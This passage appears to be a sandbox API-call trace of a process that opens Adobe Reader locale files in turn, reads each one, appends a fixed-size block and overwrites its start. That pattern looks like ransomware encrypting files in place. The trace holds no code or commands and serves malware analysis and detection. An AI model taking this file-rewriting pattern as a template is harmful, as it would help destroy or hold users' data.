lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x85f7 [0038.921] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.922] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.922] CloseHandle (hObject=0x1ac) returned 1 [0038.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Checkers.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\checkers.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1d800 [0038.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.923] ReleaseMutex (hMutex=0x128) returned 1 [0038.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NOR", lpUsedDefaultChar=0x0) returned 12 [0038.923] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.925] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c800 [0038.926] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.926] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c800 [0038.926] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.926] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.926] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.926] CloseHandle (hObject=0x1ac) returned 1 [0038.926] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\RdLang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\rdlang32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.981] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.981] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x140400 [0038.981] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.981] ReleaseMutex (hMutex=0x128) returned 1 [0038.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NOR", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NOR", lpUsedDefaultChar=0x0) returned 12 [0038.981] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0038.995] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x13f400 [0039.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.026] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x13f400 [0039.027] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.027] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.027] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.028] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.028] CloseHandle (hObject=0x1b0) returned 1 [0039.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.028] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.029] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6c00 [0039.029] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.029] ReleaseMutex (hMutex=0x128) returned 1 [0039.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x1e633ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NOR", lpUsedDefaultChar=0x0) returned 11 [0039.029] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.624] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0039.625] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.625] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0039.625] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.626] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.626] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.626] CloseHandle (hObject=0x1b0) returned 1 [0039.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.626] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.627] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa400 [0039.627] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.627] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.627] ReleaseMutex (hMutex=0x128) returned 1 [0039.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NLD", lpUsedDefaultChar=0x0) returned 11 [0039.627] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.628] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9400 [0039.628] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.629] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9400 [0039.629] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.629] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.630] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.630] CloseHandle (hObject=0x1b0) returned 1 [0039.630] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.630] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.630] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6000 [0039.630] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.630] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.630] ReleaseMutex (hMutex=0x128) returned 1 [0039.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NLD", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NLD", lpUsedDefaultChar=0x0) returned 10 [0039.630] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.632] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0039.632] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.633] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0039.633] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.633] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.633] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.634] CloseHandle (hObject=0x1b0) returned 1 [0039.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.636] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.636] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7bc00 [0039.636] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.636] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.636] ReleaseMutex (hMutex=0x128) returned 1 [0039.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.POL", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.POL", lpUsedDefaultChar=0x0) returned 10 [0039.637] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.638] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7ac00 [0039.638] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.640] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7ac00 [0039.641] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.642] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.642] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.642] CloseHandle (hObject=0x1b0) returned 1 [0039.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.644] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.644] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2a00 [0039.647] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0039.647] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.647] ReleaseMutex (hMutex=0x128) returned 1 [0039.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.POL", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.POL", lpUsedDefaultChar=0x0) returned 9 [0039.647] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.653] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0039.653] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.659] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0039.659] WriteFile (in: hFile=0x1b0, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0039.660] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.660] CloseHandle (hObject=0x1b0) returned 1 [0039.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Spelling.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\spelling.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0039.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: 